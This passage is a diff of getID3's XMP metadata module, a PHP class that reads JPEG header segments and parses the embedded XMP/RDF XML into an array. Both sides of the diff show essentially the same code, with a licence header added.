} - - // Read the first two characters - $data = fread($filehnd, 2); - - // Check that the first two characters are 0xFF 0xD8 (SOI - Start of image) - if ($data != "\xFF\xD8") - { - // No SOI (FF D8) at start of file - This probably isn't a JPEG file - close file and return; - echo '

                              This probably is not a JPEG file

                              '."\n"; - fclose($filehnd); - return false; - } - - // Read the third character - $data = fread($filehnd, 2); - - // Check that the third character is 0xFF (Start of first segment header) - if ($data[0] != "\xFF") - { - // NO FF found - close file and return - JPEG is probably corrupted - fclose($filehnd); - return false; - } - - // Flag that we havent yet hit the compressed image data - $hit_compressed_image_data = false; - - $headerdata = array(); - // Cycle through the file until, one of: 1) an EOI (End of image) marker is hit, - // 2) we have hit the compressed image data (no more headers are allowed after data) - // 3) or end of file is hit - - while (($data[1] != "\xD9") && (!$hit_compressed_image_data) && (!feof($filehnd))) - { - // Found a segment to look at. - // Check that the segment marker is not a Restart marker - restart markers don't have size or data after them - if ((ord($data[1]) < 0xD0) || (ord($data[1]) > 0xD7)) - { - // Segment isn't a Restart marker - // Read the next two bytes (size) - $sizestr = fread($filehnd, 2); - - // convert the size bytes to an integer - $decodedsize = unpack('nsize', $sizestr); - - // Save the start position of the data - $segdatastart = ftell($filehnd); - - // Read the segment data with length indicated by the previously read size - $segdata = fread($filehnd, $decodedsize['size'] - 2); - - // Store the segment information in the output array - $headerdata[] = array( - 'SegType' => ord($data[1]), - 'SegName' => $GLOBALS['JPEG_Segment_Names'][ord($data[1])], - 'SegDataStart' => $segdatastart, - 'SegData' => $segdata, - ); - } - - // If this is a SOS (Start Of Scan) segment, then there is no more header data - the compressed image data follows - if ($data[1] == "\xDA") - { - // Flag that we have hit the compressed image data - exit loop as no more headers available. - $hit_compressed_image_data = true; - } - else - { - // Not an SOS - Read the next two bytes - should be the segment marker for the next segment - $data = fread($filehnd, 2); - - // Check that the first byte of the two is 0xFF as it should be for a marker - if ($data[0] != "\xFF") - { - // NO FF found - close file and return - JPEG is probably corrupted - fclose($filehnd); - return false; - } - } - } - - // Close File - fclose($filehnd); - // Alow the user to abort from now on - ignore_user_abort(false); - - // Return the header data retrieved - return $headerdata; - } - - - /** - * Retrieves XMP information from an APP1 JPEG segment and returns the raw XML text as a string. - * - * @param string $filename - the filename of the JPEG file to read - * @return string|false $xmp_data - the string of raw XML text, - * FALSE - if an APP 1 XMP segment could not be found, or if an error occurred - */ - public function _get_XMP_text($filename) - { - //Get JPEG header data - $jpeg_header_data = $this->_get_jpeg_header_data($filename); - - //Cycle through the header segments - if (is_array($jpeg_header_data) && count($jpeg_header_data) > 0) { - foreach ($jpeg_header_data as $segment) { - // If we find an APP1 header, - if (strcmp($segment['SegName'], 'APP1') === 0) { - // And if it has the Adobe XMP/RDF label (http://ns.adobe.com/xap/1.0/\x00) , - if (strncmp($segment['SegData'], 'http://ns.adobe.com/xap/1.0/' . "\x00", 29) === 0) { - // Found a XMP/RDF block - // Return the XMP text - $xmp_data = substr($segment['SegData'], 29); - - // trim() should not be necessary, but some files found in the wild with null-terminated block - // (known samples from Apple Aperture) causes problems elsewhere - // (see https://www.getid3.org/phpBB3/viewtopic.php?f=4&t=1153) - return trim($xmp_data); - } - } - } - } - - return false; - } - - /** - * Parses a string containing XMP data (XML), and returns an array - * which contains all the XMP (XML) information. - * - * @param string $xmltext - a string containing the XMP data (XML) to be parsed - * @return array|false $xmp_array - an array containing all xmp details retrieved, - * FALSE - couldn't parse the XMP data. - */ - public function read_XMP_array_from_text($xmltext) - { - // Check if there actually is any text to parse - if (trim($xmltext) == '') - { - return false; - } - - // Create an instance of a xml parser to parse the XML text - $xml_parser = xml_parser_create('UTF-8'); - - // Change: Fixed problem that caused the whitespace (especially newlines) to be destroyed when converting xml text to an xml array, as of revision 1.10 - - // We would like to remove unneccessary white space, but this will also - // remove things like newlines ( ) in the XML values, so white space - // will have to be removed later - if (xml_parser_set_option($xml_parser, XML_OPTION_SKIP_WHITE, 0) == false) - { - // Error setting case folding - destroy the parser and return - xml_parser_free($xml_parser); - return false; - } - - // to use XML code correctly we have to turn case folding - // (uppercasing) off. XML is case sensitive and upper - // casing is in reality XML standards violation - if (xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, 0) == false) - { - // Error setting case folding - destroy the parser and return - xml_parser_free($xml_parser); - return false; - } - - // Parse the XML text into a array structure - if (xml_parse_into_struct($xml_parser, $xmltext, $values, $tags) == 0) - { - // Error Parsing XML - destroy the parser and return - xml_parser_free($xml_parser); - return false; - } - - // Destroy the xml parser - xml_parser_free($xml_parser); - - // Clear the output array - $xmp_array = array(); - - // The XMP data has now been parsed into an array ... - - // Cycle through each of the array elements - $current_property = ''; // current property being processed - $container_index = -1; // -1 = no container open, otherwise index of container content - foreach ($values as $xml_elem) - { - // Syntax and Class names - switch ($xml_elem['tag']) - { - case 'x:xmpmeta': - // only defined attribute is x:xmptk written by Adobe XMP Toolkit; value is the version of the toolkit - break; - - case 'rdf:RDF': - // required element immediately within x:xmpmeta; no data here - break; - - case 'rdf:Description': - switch ($xml_elem['type']) - { - case 'open': - case 'complete': - if (array_key_exists('attributes', $xml_elem)) - { - // rdf:Description may contain wanted attributes - foreach (array_keys($xml_elem['attributes']) as $key) - { - // Check whether we want this details from this attribute -// if (in_array($key, $GLOBALS['XMP_tag_captions'])) -// if (true) -// { - // Attribute wanted - $xmp_array[$key] = $xml_elem['attributes'][$key]; -// } - } - } - break; - case 'cdata': - case 'close': - break; - } - break; - - case 'rdf:ID': - case 'rdf:nodeID': - // Attributes are ignored - break; - - case 'rdf:li': - // Property member - if ($xml_elem['type'] == 'complete') - { - if (array_key_exists('attributes', $xml_elem)) - { - // If Lang Alt (language alternatives) then ensure we take the default language - if (isset($xml_elem['attributes']['xml:lang']) && ($xml_elem['attributes']['xml:lang'] != 'x-default')) - { - break; - } - } - if ($current_property != '') - { - $xmp_array[$current_property][$container_index] = (isset($xml_elem['value']) ? $xml_elem['value'] : ''); - $container_index += 1; - } - //else unidentified attribute!! - } - break; - - case 'rdf:Seq': - case 'rdf:Bag': - case 'rdf:Alt': - // Container found - switch ($xml_elem['type']) - { - case 'open': - $container_index = 0; - break; - case 'close': - $container_index = -1; - break; - case 'cdata': - break; - } - break; - - default: - // Check whether we want the details from this attribute -// if (in_array($xml_elem['tag'], $GLOBALS['XMP_tag_captions'])) -// if (true) -// { - switch ($xml_elem['type']) - { - case 'open': - // open current element - $current_property = $xml_elem['tag']; - break; - - case 'close': - // close current element - $current_property = ''; - break; - - case 'complete': - // store attribute value - $xmp_array[$xml_elem['tag']] = (isset($xml_elem['attributes']) ? $xml_elem['attributes'] : (isset($xml_elem['value']) ? $xml_elem['value'] : '')); - break; - - case 'cdata': - // ignore - break; - } -// } - break; - } - - } - return $xmp_array; - } - - - /** - * Constructor - * - * @param string $sFilename - Name of the image file to access and extract XMP information from. - */ - public function __construct($sFilename) - { - $this->_sFilename = $sFilename; - - if (is_file($this->_sFilename)) - { - // Get XMP data - $xmp_data = $this->_get_XMP_text($sFilename); - if ($xmp_data) - { - $aXMP = $this->read_XMP_array_from_text($xmp_data); - if ($aXMP !== false) { - $this->_aXMP = (array) $aXMP; - $this->_bXMPParse = true; - } - } - } - } - -} - -/** -* Global Variable: XMP_tag_captions -* -* The Property names of all known XMP fields. -* Note: this is a full list with unrequired properties commented out. -*/ -/* -$GLOBALS['XMP_tag_captions'] = array( -// IPTC Core - 'Iptc4xmpCore:CiAdrCity', - 'Iptc4xmpCore:CiAdrCtry', - 'Iptc4xmpCore:CiAdrExtadr', - 'Iptc4xmpCore:CiAdrPcode', - 'Iptc4xmpCore:CiAdrRegion', - 'Iptc4xmpCore:CiEmailWork', - 'Iptc4xmpCore:CiTelWork', - 'Iptc4xmpCore:CiUrlWork', - 'Iptc4xmpCore:CountryCode', - 'Iptc4xmpCore:CreatorContactInfo', - 'Iptc4xmpCore:IntellectualGenre', - 'Iptc4xmpCore:Location', - 'Iptc4xmpCore:Scene', - 'Iptc4xmpCore:SubjectCode', -// Dublin Core Schema - 'dc:contributor', - 'dc:coverage', - 'dc:creator', - 'dc:date', - 'dc:description', - 'dc:format', - 'dc:identifier', - 'dc:language', - 'dc:publisher', - 'dc:relation', - 'dc:rights', - 'dc:source', - 'dc:subject', - 'dc:title', - 'dc:type', -// XMP Basic Schema - 'xmp:Advisory', - 'xmp:BaseURL', - 'xmp:CreateDate', - 'xmp:CreatorTool', - 'xmp:Identifier', - 'xmp:Label', - 'xmp:MetadataDate', - 'xmp:ModifyDate', - 'xmp:Nickname', - 'xmp:Rating', - 'xmp:Thumbnails', - 'xmpidq:Scheme', -// XMP Rights Management Schema - 'xmpRights:Certificate', - 'xmpRights:Marked', - 'xmpRights:Owner', - 'xmpRights:UsageTerms', - 'xmpRights:WebStatement', -// These are not in spec but Photoshop CS seems to use them - 'xap:Advisory', - 'xap:BaseURL', - 'xap:CreateDate', - 'xap:CreatorTool', - 'xap:Identifier', - 'xap:MetadataDate', - 'xap:ModifyDate', - 'xap:Nickname', - 'xap:Rating', - 'xap:Thumbnails', - 'xapidq:Scheme', - 'xapRights:Certificate', - 'xapRights:Copyright', - 'xapRights:Marked', - 'xapRights:Owner', - 'xapRights:UsageTerms', - 'xapRights:WebStatement', -// XMP Media Management Schema - 'xapMM:DerivedFrom', - 'xapMM:DocumentID', - 'xapMM:History', - 'xapMM:InstanceID', - 'xapMM:ManagedFrom', - 'xapMM:Manager', - 'xapMM:ManageTo', - 'xapMM:ManageUI', - 'xapMM:ManagerVariant', - 'xapMM:RenditionClass', - 'xapMM:RenditionParams', - 'xapMM:VersionID', - 'xapMM:Versions', - 'xapMM:LastURL', - 'xapMM:RenditionOf', - 'xapMM:SaveID', -// XMP Basic Job Ticket Schema - 'xapBJ:JobRef', -// XMP Paged-Text Schema - 'xmpTPg:MaxPageSize', - 'xmpTPg:NPages', - 'xmpTPg:Fonts', - 'xmpTPg:Colorants', - 'xmpTPg:PlateNames', -// Adobe PDF Schema - 'pdf:Keywords', - 'pdf:PDFVersion', - 'pdf:Producer', -// Photoshop Schema - 'photoshop:AuthorsPosition', - 'photoshop:CaptionWriter', - 'photoshop:Category', - 'photoshop:City', - 'photoshop:Country', - 'photoshop:Credit', - 'photoshop:DateCreated', - 'photoshop:Headline', - 'photoshop:History', -// Not in XMP spec - 'photoshop:Instructions', - 'photoshop:Source', - 'photoshop:State', - 'photoshop:SupplementalCategories', - 'photoshop:TransmissionReference', - 'photoshop:Urgency', -// EXIF Schemas - 'tiff:ImageWidth', - 'tiff:ImageLength', - 'tiff:BitsPerSample', - 'tiff:Compression', - 'tiff:PhotometricInterpretation', - 'tiff:Orientation', - 'tiff:SamplesPerPixel', - 'tiff:PlanarConfiguration', - 'tiff:YCbCrSubSampling', - 'tiff:YCbCrPositioning', - 'tiff:XResolution', - 'tiff:YResolution', - 'tiff:ResolutionUnit', - 'tiff:TransferFunction', - 'tiff:WhitePoint', - 'tiff:PrimaryChromaticities', - 'tiff:YCbCrCoefficients', - 'tiff:ReferenceBlackWhite', - 'tiff:DateTime', - 'tiff:ImageDescription', - 'tiff:Make', - 'tiff:Model', - 'tiff:Software', - 'tiff:Artist', - 'tiff:Copyright', - 'exif:ExifVersion', - 'exif:FlashpixVersion', - 'exif:ColorSpace', - 'exif:ComponentsConfiguration', - 'exif:CompressedBitsPerPixel', - 'exif:PixelXDimension', - 'exif:PixelYDimension', - 'exif:MakerNote', - 'exif:UserComment', - 'exif:RelatedSoundFile', - 'exif:DateTimeOriginal', - 'exif:DateTimeDigitized', - 'exif:ExposureTime', - 'exif:FNumber', - 'exif:ExposureProgram', - 'exif:SpectralSensitivity', - 'exif:ISOSpeedRatings', - 'exif:OECF', - 'exif:ShutterSpeedValue', - 'exif:ApertureValue', - 'exif:BrightnessValue', - 'exif:ExposureBiasValue', - 'exif:MaxApertureValue', - 'exif:SubjectDistance', - 'exif:MeteringMode', - 'exif:LightSource', - 'exif:Flash', - 'exif:FocalLength', - 'exif:SubjectArea', - 'exif:FlashEnergy', - 'exif:SpatialFrequencyResponse', - 'exif:FocalPlaneXResolution', - 'exif:FocalPlaneYResolution', - 'exif:FocalPlaneResolutionUnit', - 'exif:SubjectLocation', - 'exif:SensingMethod', - 'exif:FileSource', - 'exif:SceneType', - 'exif:CFAPattern', - 'exif:CustomRendered', - 'exif:ExposureMode', - 'exif:WhiteBalance', - 'exif:DigitalZoomRatio', - 'exif:FocalLengthIn35mmFilm', - 'exif:SceneCaptureType', - 'exif:GainControl', - 'exif:Contrast', - 'exif:Saturation', - 'exif:Sharpness', - 'exif:DeviceSettingDescription', - 'exif:SubjectDistanceRange', - 'exif:ImageUniqueID', - 'exif:GPSVersionID', - 'exif:GPSLatitude', - 'exif:GPSLongitude', - 'exif:GPSAltitudeRef', - 'exif:GPSAltitude', - 'exif:GPSTimeStamp', - 'exif:GPSSatellites', - 'exif:GPSStatus', - 'exif:GPSMeasureMode', - 'exif:GPSDOP', - 'exif:GPSSpeedRef', - 'exif:GPSSpeed', - 'exif:GPSTrackRef', - 'exif:GPSTrack', - 'exif:GPSImgDirectionRef', - 'exif:GPSImgDirection', - 'exif:GPSMapDatum', - 'exif:GPSDestLatitude', - 'exif:GPSDestLongitude', - 'exif:GPSDestBearingRef', - 'exif:GPSDestBearing', - 'exif:GPSDestDistanceRef', - 'exif:GPSDestDistance', - 'exif:GPSProcessingMethod', - 'exif:GPSAreaInformation', - 'exif:GPSDifferential', - 'stDim:w', - 'stDim:h', - 'stDim:unit', - 'xapGImg:height', - 'xapGImg:width', - 'xapGImg:format', - 'xapGImg:image', - 'stEvt:action', - 'stEvt:instanceID', - 'stEvt:parameters', - 'stEvt:softwareAgent', - 'stEvt:when', - 'stRef:instanceID', - 'stRef:documentID', - 'stRef:versionID', - 'stRef:renditionClass', - 'stRef:renditionParams', - 'stRef:manager', - 'stRef:managerVariant', - 'stRef:manageTo', - 'stRef:manageUI', - 'stVer:comments', - 'stVer:event', - 'stVer:modifyDate', - 'stVer:modifier', - 'stVer:version', - 'stJob:name', - 'stJob:id', - 'stJob:url', -// Exif Flash - 'exif:Fired', - 'exif:Return', - 'exif:Mode', - 'exif:Function', - 'exif:RedEyeMode', -// Exif OECF/SFR - 'exif:Columns', - 'exif:Rows', - 'exif:Names', - 'exif:Values', -// Exif CFAPattern - 'exif:Columns', - 'exif:Rows', - 'exif:Values', -// Exif DeviceSettings - 'exif:Columns', - 'exif:Rows', - 'exif:Settings', -); -*/ - -/** -* Global Variable: JPEG_Segment_Names -* -* The names of the JPEG segment markers, indexed by their marker number -*/ -$GLOBALS['JPEG_Segment_Names'] = array( - 0x01 => 'TEM', - 0x02 => 'RES', - 0xC0 => 'SOF0', - 0xC1 => 'SOF1', - 0xC2 => 'SOF2', - 0xC3 => 'SOF4', - 0xC4 => 'DHT', - 0xC5 => 'SOF5', - 0xC6 => 'SOF6', - 0xC7 => 'SOF7', - 0xC8 => 'JPG', - 0xC9 => 'SOF9', - 0xCA => 'SOF10', - 0xCB => 'SOF11', - 0xCC => 'DAC', - 0xCD => 'SOF13', - 0xCE => 'SOF14', - 0xCF => 'SOF15', - 0xD0 => 'RST0', - 0xD1 => 'RST1', - 0xD2 => 'RST2', - 0xD3 => 'RST3', - 0xD4 => 'RST4', - 0xD5 => 'RST5', - 0xD6 => 'RST6', - 0xD7 => 'RST7', - 0xD8 => 'SOI', - 0xD9 => 'EOI', - 0xDA => 'SOS', - 0xDB => 'DQT', - 0xDC => 'DNL', - 0xDD => 'DRI', - 0xDE => 'DHP', - 0xDF => 'EXP', - 0xE0 => 'APP0', - 0xE1 => 'APP1', - 0xE2 => 'APP2', - 0xE3 => 'APP3', - 0xE4 => 'APP4', - 0xE5 => 'APP5', - 0xE6 => 'APP6', - 0xE7 => 'APP7', - 0xE8 => 'APP8', - 0xE9 => 'APP9', - 0xEA => 'APP10', - 0xEB => 'APP11', - 0xEC => 'APP12', - 0xED => 'APP13', - 0xEE => 'APP14', - 0xEF => 'APP15', - 0xF0 => 'JPG0', - 0xF1 => 'JPG1', - 0xF2 => 'JPG2', - 0xF3 => 'JPG3', - 0xF4 => 'JPG4', - 0xF5 => 'JPG5', - 0xF6 => 'JPG6', - 0xF7 => 'JPG7', - 0xF8 => 'JPG8', - 0xF9 => 'JPG9', - 0xFA => 'JPG10', - 0xFB => 'JPG11', - 0xFC => 'JPG12', - 0xFD => 'JPG13', - 0xFE => 'COM', -); + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.tag.xmp.php // +// module for analyzing XMP metadata (e.g. in JPEG files) // +// dependencies: NONE // +// // +///////////////////////////////////////////////////////////////// +// // +// Module originally written [2009-Mar-26] by // +// Nigel Barnes // +// Bundled into getID3 with permission // +// called by getID3 in module.graphic.jpg.php // +// /// +///////////////////////////////////////////////////////////////// + +/************************************************************************************************** + * SWISScenter Source Nigel Barnes + * + * Provides functions for reading information from the 'APP1' Extensible Metadata + * Platform (XMP) segment of JPEG format files. + * This XMP segment is XML based and contains the Resource Description Framework (RDF) + * data, which itself can contain the Dublin Core Metadata Initiative (DCMI) information. + * + * This code uses segments from the JPEG Metadata Toolkit project by Evan Hunter. + *************************************************************************************************/ +class Image_XMP +{ + /** + * @var string + * The name of the image file that contains the XMP fields to extract and modify. + * @see Image_XMP() + */ + public $_sFilename = null; + + /** + * @var array + * The XMP fields that were extracted from the image or updated by this class. + * @see getAllTags() + */ + public $_aXMP = array(); + + /** + * @var boolean + * True if an APP1 segment was found to contain XMP metadata. + * @see isValid() + */ + public $_bXMPParse = false; + + /** + * Returns the status of XMP parsing during instantiation + * + * You'll normally want to call this method before trying to get XMP fields. + * + * @return boolean + * Returns true if an APP1 segment was found to contain XMP metadata. + */ + public function isValid() + { + return $this->_bXMPParse; + } + + /** + * Get a copy of all XMP tags extracted from the image + * + * @return array - An array of XMP fields as it extracted by the XMPparse() function + */ + public function getAllTags() + { + return $this->_aXMP; + } + + /** + * Reads all the JPEG header segments from an JPEG image file into an array + * + * @param string $filename - the filename of the JPEG file to read + * @return array|false $headerdata - Array of JPEG header segments, + * FALSE - if headers could not be read + */ + public function _get_jpeg_header_data($filename) + { + // prevent refresh from aborting file operations and hosing file + ignore_user_abort(true); + + // Attempt to open the jpeg file - the at symbol supresses the error message about + // not being able to open files. The file_exists would have been used, but it + // does not work with files fetched over http or ftp. + if (is_readable($filename) && is_file($filename) && ($filehnd = fopen($filename, 'rb'))) { + // great + } else { + return false; + } + + // Read the first two characters + $data = fread($filehnd, 2); + + // Check that the first two characters are 0xFF 0xD8 (SOI - Start of image) + if ($data != "\xFF\xD8") + { + // No SOI (FF D8) at start of file - This probably isn't a JPEG file - close file and return; + echo '

                              This probably is not a JPEG file

                              '."\n"; + fclose($filehnd); + return false; + } + + // Read the third character + $data = fread($filehnd, 2); + + // Check that the third character is 0xFF (Start of first segment header) + if ($data[0] != "\xFF") + { + // NO FF found - close file and return - JPEG is probably corrupted + fclose($filehnd); + return false; + } + + // Flag that we havent yet hit the compressed image data + $hit_compressed_image_data = false; + + $headerdata = array(); + // Cycle through the file until, one of: 1) an EOI (End of image) marker is hit, + // 2) we have hit the compressed image data (no more headers are allowed after data) + // 3) or end of file is hit + + while (($data[1] != "\xD9") && (!$hit_compressed_image_data) && (!feof($filehnd))) + { + // Found a segment to look at. + // Check that the segment marker is not a Restart marker - restart markers don't have size or data after them + if ((ord($data[1]) < 0xD0) || (ord($data[1]) > 0xD7)) + { + // Segment isn't a Restart marker + // Read the next two bytes (size) + $sizestr = fread($filehnd, 2); + + // convert the size bytes to an integer + $decodedsize = unpack('nsize', $sizestr); + + // Save the start position of the data + $segdatastart = ftell($filehnd); + + // Read the segment data with length indicated by the previously read size + $segdata = fread($filehnd, $decodedsize['size'] - 2); + + // Store the segment information in the output array + $headerdata[] = array( + 'SegType' => ord($data[1]), + 'SegName' => $GLOBALS['JPEG_Segment_Names'][ord($data[1])], + 'SegDataStart' => $segdatastart, + 'SegData' => $segdata, + ); + } + + // If this is a SOS (Start Of Scan) segment, then there is no more header data - the compressed image data follows + if ($data[1] == "\xDA") + { + // Flag that we have hit the compressed image data - exit loop as no more headers available. + $hit_compressed_image_data = true; + } + else + { + // Not an SOS - Read the next two bytes - should be the segment marker for the next segment + $data = fread($filehnd, 2); + + // Check that the first byte of the two is 0xFF as it should be for a marker + if ($data[0] != "\xFF") + { + // NO FF found - close file and return - JPEG is probably corrupted + fclose($filehnd); + return false; + } + } + } + + // Close File + fclose($filehnd); + // Alow the user to abort from now on + ignore_user_abort(false); + + // Return the header data retrieved + return $headerdata; + } + + + /** + * Retrieves XMP information from an APP1 JPEG segment and returns the raw XML text as a string. + * + * @param string $filename - the filename of the JPEG file to read + * @return string|false $xmp_data - the string of raw XML text, + * FALSE - if an APP 1 XMP segment could not be found, or if an error occurred + */ + public function _get_XMP_text($filename) + { + //Get JPEG header data + $jpeg_header_data = $this->_get_jpeg_header_data($filename); + + //Cycle through the header segments + if (is_array($jpeg_header_data) && count($jpeg_header_data) > 0) { + foreach ($jpeg_header_data as $segment) { + // If we find an APP1 header, + if (strcmp($segment['SegName'], 'APP1') === 0) { + // And if it has the Adobe XMP/RDF label (http://ns.adobe.com/xap/1.0/\x00) , + if (strncmp($segment['SegData'], 'http://ns.adobe.com/xap/1.0/' . "\x00", 29) === 0) { + // Found a XMP/RDF block + // Return the XMP text + $xmp_data = substr($segment['SegData'], 29); + + // trim() should not be necessary, but some files found in the wild with null-terminated block + // (known samples from Apple Aperture) causes problems elsewhere + // (see https://www.getid3.org/phpBB3/viewtopic.php?f=4&t=1153) + return trim($xmp_data); + } + } + } + } + + return false; + } + + /** + * Parses a string containing XMP data (XML), and returns an array + * which contains all the XMP (XML) information. + * + * @param string $xmltext - a string containing the XMP data (XML) to be parsed + * @return array|false $xmp_array - an array containing all xmp details retrieved, + * FALSE - couldn't parse the XMP data. + */ + public function read_XMP_array_from_text($xmltext) + { + // Check if there actually is any text to parse + if (trim($xmltext) == '') + { + return false; + } + + // Create an instance of a xml parser to parse the XML text + $xml_parser = xml_parser_create('UTF-8'); + + // Change: Fixed problem that caused the whitespace (especially newlines) to be destroyed when converting xml text to an xml array, as of revision 1.10 + + // We would like to remove unneccessary white space, but this will also + // remove things like newlines ( ) in the XML values, so white space + // will have to be removed later + if (xml_parser_set_option($xml_parser, XML_OPTION_SKIP_WHITE, 0) == false) + { + // Error setting case folding - destroy the parser and return + xml_parser_free($xml_parser); + return false; + } + + // to use XML code correctly we have to turn case folding + // (uppercasing) off. XML is case sensitive and upper + // casing is in reality XML standards violation + if (xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, 0) == false) + { + // Error setting case folding - destroy the parser and return + xml_parser_free($xml_parser); + return false; + } + + // Parse the XML text into a array structure + if (xml_parse_into_struct($xml_parser, $xmltext, $values, $tags) == 0) + { + // Error Parsing XML - destroy the parser and return + xml_parser_free($xml_parser); + return false; + } + + // Destroy the xml parser + xml_parser_free($xml_parser); + + // Clear the output array + $xmp_array = array(); + + // The XMP data has now been parsed into an array ... + + // Cycle through each of the array elements + $current_property = ''; // current property being processed + $container_index = -1; // -1 = no container open, otherwise index of container content + foreach ($values as $xml_elem) + { + // Syntax and Class names + switch ($xml_elem['tag']) + { + case 'x:xmpmeta': + // only defined attribute is x:xmptk written by Adobe XMP Toolkit; value is the version of the toolkit + break; + + case 'rdf:RDF': + // required element immediately within x:xmpmeta; no data here + break; + + case 'rdf:Description': + switch ($xml_elem['type']) + { + case 'open': + case 'complete': + if (array_key_exists('attributes', $xml_elem)) + { + // rdf:Description may contain wanted attributes + foreach (array_keys($xml_elem['attributes']) as $key) + { + // Check whether we want this details from this attribute +// if (in_array($key, $GLOBALS['XMP_tag_captions'])) +// if (true) +// { + // Attribute wanted + $xmp_array[$key] = $xml_elem['attributes'][$key]; +// } + } + } + break; + case 'cdata': + case 'close': + break; + } + break; + + case 'rdf:ID': + case 'rdf:nodeID': + // Attributes are ignored + break; + + case 'rdf:li': + // Property member + if ($xml_elem['type'] == 'complete') + { + if (array_key_exists('attributes', $xml_elem)) + { + // If Lang Alt (language alternatives) then ensure we take the default language + if (isset($xml_elem['attributes']['xml:lang']) && ($xml_elem['attributes']['xml:lang'] != 'x-default')) + { + break; + } + } + if ($current_property != '') + { + $xmp_array[$current_property][$container_index] = (isset($xml_elem['value']) ? $xml_elem['value'] : ''); + $container_index += 1; + } + //else unidentified attribute!! + } + break; + + case 'rdf:Seq': + case 'rdf:Bag': + case 'rdf:Alt': + // Container found + switch ($xml_elem['type']) + { + case 'open': + $container_index = 0; + break; + case 'close': + $container_index = -1; + break; + case 'cdata': + break; + } + break; + + default: + // Check whether we want the details from this attribute +// if (in_array($xml_elem['tag'], $GLOBALS['XMP_tag_captions'])) +// if (true) +// { + switch ($xml_elem['type']) + { + case 'open': + // open current element + $current_property = $xml_elem['tag']; + break; + + case 'close': + // close current element + $current_property = ''; + break; + + case 'complete': + // store attribute value + $xmp_array[$xml_elem['tag']] = (isset($xml_elem['attributes']) ? $xml_elem['attributes'] : (isset($xml_elem['value']) ? $xml_elem['value'] : '')); + break; + + case 'cdata': + // ignore + break; + } +// } + break; + } + + } + return $xmp_array; + } + + + /** + * Constructor + * + * @param string $sFilename - Name of the image file to access and extract XMP information from. + */ + public function __construct($sFilename) + { + $this->_sFilename = $sFilename; + + if (is_file($this->_sFilename)) + { + // Get XMP data + $xmp_data = $this->_get_XMP_text($sFilename); + if ($xmp_data) + { + $aXMP = $this->read_XMP_array_from_text($xmp_data); + if ($aXMP !== false) { + $this->_aXMP = (array) $aXMP; + $this->_bXMPParse = true; + } + } + } + } + +} + +/** +* Global Variable: XMP_tag_captions +* +* The Property names of all known XMP fields. +* Note: this is a full list with unrequired properties commented out. +*/ +/* +$GLOBALS['XMP_tag_captions'] = array( +// IPTC Core + 'Iptc4xmpCore:CiAdrCity', + 'Iptc4xmpCore:CiAdrCtry', + 'Iptc4xmpCore:CiAdrExtadr', + 'Iptc4xmpCore:CiAdrPcode', + 'Iptc4xmpCore:CiAdrRegion', + 'Iptc4xmpCore:CiEmailWork', + 'Iptc4xmpCore:CiTelWork', + 'Iptc4xmpCore:CiUrlWork', + 'Iptc4xmpCore:CountryCode', + 'Iptc4xmpCore:CreatorContactInfo', + 'Iptc4xmpCore:IntellectualGenre', + 'Iptc4xmpCore:Location', + 'Iptc4xmpCore:Scene', + 'Iptc4xmpCore:SubjectCode', +// Dublin Core Schema + 'dc:contributor', + 'dc:coverage', + 'dc:creator', + 'dc:date', + 'dc:description', + 'dc:format', + 'dc:identifier', + 'dc:language', + 'dc:publisher', + 'dc:relation', + 'dc:rights', + 'dc:source', + 'dc:subject', + 'dc:title', + 'dc:type', +// XMP Basic Schema + 'xmp:Advisory', + 'xmp:BaseURL', + 'xmp:CreateDate', + 'xmp:CreatorTool', + 'xmp:Identifier', + 'xmp:Label', + 'xmp:MetadataDate', + 'xmp:ModifyDate', + 'xmp:Nickname', + 'xmp:Rating', + 'xmp:Thumbnails', + 'xmpidq:Scheme', +// XMP Rights Management Schema + 'xmpRights:Certificate', + 'xmpRights:Marked', + 'xmpRights:Owner', + 'xmpRights:UsageTerms', + 'xmpRights:WebStatement', +// These are not in spec but Photoshop CS seems to use them + 'xap:Advisory', + 'xap:BaseURL', + 'xap:CreateDate', + 'xap:CreatorTool', + 'xap:Identifier', + 'xap:MetadataDate', + 'xap:ModifyDate', + 'xap:Nickname', + 'xap:Rating', + 'xap:Thumbnails', + 'xapidq:Scheme', + 'xapRights:Certificate', + 'xapRights:Copyright', + 'xapRights:Marked', + 'xapRights:Owner', + 'xapRights:UsageTerms', + 'xapRights:WebStatement', +// XMP Media Management Schema + 'xapMM:DerivedFrom', + 'xapMM:DocumentID', + 'xapMM:History', + 'xapMM:InstanceID', + 'xapMM:ManagedFrom', + 'xapMM:Manager', + 'xapMM:ManageTo', + 'xapMM:ManageUI', + 'xapMM:ManagerVariant', + 'xapMM:RenditionClass', + 'xapMM:RenditionParams', + 'xapMM:VersionID', + 'xapMM:Versions', + 'xapMM:LastURL', + 'xapMM:RenditionOf', + 'xapMM:SaveID', +// XMP Basic Job Ticket Schema + 'xapBJ:JobRef', +// XMP Paged-Text Schema + 'xmpTPg:MaxPageSize', + 'xmpTPg:NPages', + 'xmpTPg:Fonts', + 'xmpTPg:Colorants', + 'xmpTPg:PlateNames', +// Adobe PDF Schema + 'pdf:Keywords', + 'pdf:PDFVersion', + 'pdf:Producer', +// Photoshop Schema + 'photoshop:AuthorsPosition', + 'photoshop:CaptionWriter', + 'photoshop:Category', + 'photoshop:City', + 'photoshop:Country', + 'photoshop:Credit', + 'photoshop:DateCreated', + 'photoshop:Headline', + 'photoshop:History', +// Not in XMP spec + 'photoshop:Instructions', + 'photoshop:Source', + 'photoshop:State', + 'photoshop:SupplementalCategories', + 'photoshop:TransmissionReference', + 'photoshop:Urgency', +// EXIF Schemas + 'tiff:ImageWidth', + 'tiff:ImageLength', + 'tiff:BitsPerSample', + 'tiff:Compression', + 'tiff:PhotometricInterpretation', + 'tiff:Orientation', + 'tiff:SamplesPerPixel', + 'tiff:PlanarConfiguration', + 'tiff:YCbCrSubSampling', + 'tiff:YCbCrPositioning', + 'tiff:XResolution', + 'tiff:YResolution', + 'tiff:ResolutionUnit', + 'tiff:TransferFunction', + 'tiff:WhitePoint', + 'tiff:PrimaryChromaticities', + 'tiff:YCbCrCoefficients', + 'tiff:ReferenceBlackWhite', + 'tiff:DateTime', + 'tiff:ImageDescription', + 'tiff:Make', + 'tiff:Model', + 'tiff:Software', + 'tiff:Artist', + 'tiff:Copyright', + 'exif:ExifVersion', + 